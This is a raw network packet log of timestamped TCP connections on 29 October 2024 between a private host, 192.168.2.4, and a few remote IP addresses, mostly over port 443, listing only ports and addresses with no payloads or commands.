Oct 29, 2024 20:37:54.017155886 CET	443	49754	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.017209053 CET	49756	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.017219067 CET	443	49756	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.017287970 CET	49755	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.017301083 CET	443	49755	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.758272886 CET	443	49757	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.760550022 CET	49757	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.760622025 CET	443	49757	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.761013985 CET	49757	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.761029005 CET	443	49757	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.770349026 CET	443	49754	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.772922993 CET	49754	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.772942066 CET	443	49754	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.773587942 CET	49754	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.773597956 CET	443	49754	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.776101112 CET	443	49758	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.776521921 CET	49758	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.776544094 CET	443	49758	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.777059078 CET	49758	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.777065039 CET	443	49758	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.789362907 CET	443	49755	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.789993048 CET	49755	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.790010929 CET	443	49755	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.790453911 CET	49755	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.790457964 CET	443	49755	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.800076962 CET	443	49756	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.800558090 CET	49756	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.800573111 CET	443	49756	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.800950050 CET	49756	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.800955057 CET	443	49756	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.887975931 CET	443	49757	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.888005018 CET	443	49757	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.888066053 CET	443	49757	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.888334036 CET	49757	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.888334036 CET	49757	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.888425112 CET	49757	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.888447046 CET	443	49757	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.888488054 CET	49757	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.888494968 CET	443	49757	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.891583920 CET	49759	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.891616106 CET	443	49759	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.891700983 CET	49759	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.891885996 CET	49759	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.891899109 CET	443	49759	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.901520967 CET	443	49754	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.901586056 CET	443	49754	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.901688099 CET	49754	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.901702881 CET	443	49754	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.901752949 CET	49754	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.901762962 CET	443	49754	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.901812077 CET	49754	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.902007103 CET	49754	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.902026892 CET	443	49754	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.902049065 CET	49754	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.902055025 CET	443	49754	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.903392076 CET	443	49758	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.903547049 CET	443	49758	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.904891968 CET	49760	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.904930115 CET	443	49760	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.904942989 CET	49758	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.905009031 CET	49760	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.905047894 CET	49758	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.905057907 CET	443	49758	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.905067921 CET	49758	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.905072927 CET	443	49758	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.905145884 CET	49760	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.905155897 CET	443	49760	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.907413006 CET	49761	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.907465935 CET	443	49761	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.907555103 CET	49761	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.907694101 CET	49761	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.907707930 CET	443	49761	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.158058882 CET	443	49755	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.158128977 CET	443	49755	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.158268929 CET	443	49756	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.158303022 CET	443	49756	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.158365011 CET	443	49756	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.158423901 CET	49755	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.158426046 CET	49756	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.158426046 CET	49756	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.158680916 CET	49755	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.158704042 CET	443	49755	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.158723116 CET	49755	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.158730030 CET	443	49755	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.158907890 CET	49756	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.158925056 CET	443	49756	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.158992052 CET	49756	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.158998013 CET	443	49756	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.161879063 CET	49762	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.161909103 CET	443	49762	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.161968946 CET	49763	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.161997080 CET	49762	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.162018061 CET	443	49763	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.162075996 CET	49763	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.162175894 CET	49762	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.162183046 CET	443	49762	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.162240982 CET	49763	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.162252903 CET	443	49763	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.651118994 CET	443	49759	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.651762962 CET	49759	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.651794910 CET	443	49759	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.652302980 CET	49759	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.652307987 CET	443	49759	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.784256935 CET	443	49759	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.784357071 CET	443	49759	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.784430027 CET	49759	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.784630060 CET	49759	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.784657001 CET	443	49759	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.784673929 CET	49759	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.784681082 CET	443	49759	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.787334919 CET	49764	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.787379026 CET	443	49764	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.787482977 CET	49764	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.787626028 CET	49764	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.787636995 CET	443	49764	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.892677069 CET	443	49760	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.893424034 CET	49760	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.893455982 CET	443	49760	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.893938065 CET	49760	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.893943071 CET	443	49760	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.896596909 CET	443	49763	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.897151947 CET	49763	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.897182941 CET	443	49763	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.897901058 CET	49763	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.897906065 CET	443	49763	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.913041115 CET	443	49762	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.913650036 CET	49762	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.913661003 CET	443	49762	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.914113998 CET	49762	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.914118052 CET	443	49762	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.923142910 CET	443	49761	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.923593998 CET	49761	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.923612118 CET	443	49761	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:55.924005985 CET	49761	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:55.924012899 CET	443	49761	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.027091980 CET	443	49760	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.027180910 CET	443	49760	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.027256966 CET	49760	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.028465033 CET	443	49763	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.029230118 CET	443	49763	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.029294014 CET	49763	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.029532909 CET	49760	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.029548883 CET	443	49760	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.030080080 CET	49763	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.030105114 CET	443	49763	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.044049978 CET	443	49762	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.044384956 CET	443	49762	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.044446945 CET	49762	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.054481983 CET	443	49761	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.054544926 CET	443	49761	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.054631948 CET	49761	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.055701017 CET	49762	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.055711985 CET	443	49762	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.070446968 CET	49761	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.070457935 CET	443	49761	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.078556061 CET	49765	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.078617096 CET	443	49765	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.078777075 CET	49765	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.089371920 CET	49765	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.089396000 CET	443	49765	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.103276968 CET	49766	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.103328943 CET	443	49766	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.103399992 CET	49766	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.107088089 CET	49766	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.107101917 CET	443	49766	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.107956886 CET	49767	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.108005047 CET	443	49767	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.108170986 CET	49767	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.109857082 CET	49768	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.109893084 CET	443	49768	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.109956026 CET	49768	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.110172033 CET	49767	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.110187054 CET	443	49767	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.110387087 CET	49768	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.110395908 CET	443	49768	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.543571949 CET	443	49764	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.544286013 CET	49764	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.544302940 CET	443	49764	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.544812918 CET	49764	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.544819117 CET	443	49764	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.671072006 CET	49769	443	192.168.2.4	172.67.162.95
Oct 29, 2024 20:37:56.671128035 CET	443	49769	172.67.162.95	192.168.2.4
Oct 29, 2024 20:37:56.671195030 CET	49769	443	192.168.2.4	172.67.162.95
Oct 29, 2024 20:37:56.671540022 CET	49769	443	192.168.2.4	172.67.162.95
Oct 29, 2024 20:37:56.671555996 CET	443	49769	172.67.162.95	192.168.2.4
Oct 29, 2024 20:37:56.676356077 CET	443	49764	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.676691055 CET	443	49764	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.676794052 CET	49764	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.677082062 CET	49764	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.677105904 CET	443	49764	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.677124977 CET	49764	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.677130938 CET	443	49764	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.681015015 CET	49770	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.681063890 CET	443	49770	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.681149960 CET	49770	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.681349993 CET	49770	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.681361914 CET	443	49770	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.821449995 CET	443	49765	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.822813034 CET	49765	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.822832108 CET	443	49765	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.823405981 CET	49765	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.823414087 CET	443	49765	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.839543104 CET	443	49768	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.842715979 CET	49768	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.842744112 CET	443	49768	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.843271017 CET	49768	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.843276978 CET	443	49768	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.852004051 CET	443	49767	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.854506969 CET	49767	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.854520082 CET	443	49767	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.854912043 CET	49767	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.854926109 CET	443	49767	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.857259989 CET	443	49766	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.858374119 CET	49766	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.858408928 CET	443	49766	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.858779907 CET	49766	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.858787060 CET	443	49766	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.952744961 CET	443	49765	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.952826977 CET	443	49765	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.952955008 CET	49765	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.953269005 CET	49765	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.953269005 CET	49765	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.953294039 CET	443	49765	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.953309059 CET	443	49765	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.956486940 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.956533909 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.956639051 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.956777096 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.956794024 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.968489885 CET	443	49768	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.968661070 CET	443	49768	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.968839884 CET	49768	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.969028950 CET	49768	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.969050884 CET	443	49768	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.969089985 CET	49768	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.969099045 CET	443	49768	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.972031116 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.972074032 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.974145889 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.974292040 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.974308968 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.983791113 CET	443	49767	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.984102964 CET	443	49767	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.984205008 CET	49767	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.984472036 CET	49767	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.984472036 CET	49767	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.984492064 CET	443	49767	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.984500885 CET	443	49767	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.986877918 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.986979961 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.987065077 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.987231016 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.987284899 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.996929884 CET	443	49766	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.997134924 CET	443	49766	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.997212887 CET	49766	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.997463942 CET	49766	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.997463942 CET	49766	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.997479916 CET	443	49766	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.997488976 CET	443	49766	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.999608994 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.999649048 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:56.999718904 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.999888897 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:56.999902010 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.318329096 CET	443	49769	172.67.162.95	192.168.2.4
Oct 29, 2024 20:37:57.318406105 CET	49769	443	192.168.2.4	172.67.162.95
Oct 29, 2024 20:37:57.330123901 CET	49769	443	192.168.2.4	172.67.162.95
Oct 29, 2024 20:37:57.330153942 CET	443	49769	172.67.162.95	192.168.2.4
Oct 29, 2024 20:37:57.330492020 CET	443	49769	172.67.162.95	192.168.2.4
Oct 29, 2024 20:37:57.330553055 CET	49769	443	192.168.2.4	172.67.162.95
Oct 29, 2024 20:37:57.331203938 CET	49769	443	192.168.2.4	172.67.162.95
Oct 29, 2024 20:37:57.375348091 CET	443	49769	172.67.162.95	192.168.2.4
Oct 29, 2024 20:37:57.415116072 CET	443	49770	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.415690899 CET	49770	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.415719032 CET	443	49770	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.416165113 CET	49770	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.416172028 CET	443	49770	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.545088053 CET	443	49770	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.545278072 CET	443	49770	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.545480967 CET	49770	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.545552969 CET	49770	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.545582056 CET	443	49770	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.545598984 CET	49770	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.545607090 CET	443	49770	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.548861027 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.548971891 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.549062014 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.549279928 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.549331903 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.579049110 CET	443	49769	172.67.162.95	192.168.2.4
Oct 29, 2024 20:37:57.579124928 CET	443	49769	172.67.162.95	192.168.2.4
Oct 29, 2024 20:37:57.579276085 CET	49769	443	192.168.2.4	172.67.162.95
Oct 29, 2024 20:37:57.579276085 CET	49769	443	192.168.2.4	172.67.162.95
Oct 29, 2024 20:37:57.583296061 CET	49769	443	192.168.2.4	172.67.162.95
Oct 29, 2024 20:37:57.583327055 CET	443	49769	172.67.162.95	192.168.2.4
Oct 29, 2024 20:37:57.584597111 CET	49776	80	192.168.2.4	107.175.130.36
Oct 29, 2024 20:37:57.590033054 CET	80	49776	107.175.130.36	192.168.2.4
Oct 29, 2024 20:37:57.590164900 CET	49776	80	192.168.2.4	107.175.130.36
Oct 29, 2024 20:37:57.590251923 CET	49776	80	192.168.2.4	107.175.130.36
Oct 29, 2024 20:37:57.595767021 CET	80	49776	107.175.130.36	192.168.2.4
Oct 29, 2024 20:37:57.696465969 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.697149038 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.697169065 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.697676897 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.697681904 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.718421936 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.719286919 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.719321966 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.719371080 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.719507933 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.719512939 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.731811047 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.731827974 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.732286930 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.732290983 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.766269922 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.767221928 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.767240047 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.767726898 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.767735958 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.828178883 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.828392029 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.828470945 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.828744888 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.828744888 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.828768015 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.828775883 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.832436085 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.832492113 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.832588911 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.832722902 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.832732916 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.848572016 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.848644018 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.848706961 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.848933935 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.848957062 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:57.848973036 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:57.848979950 CET	443	49773	13.107.246.45	192.168.2.4
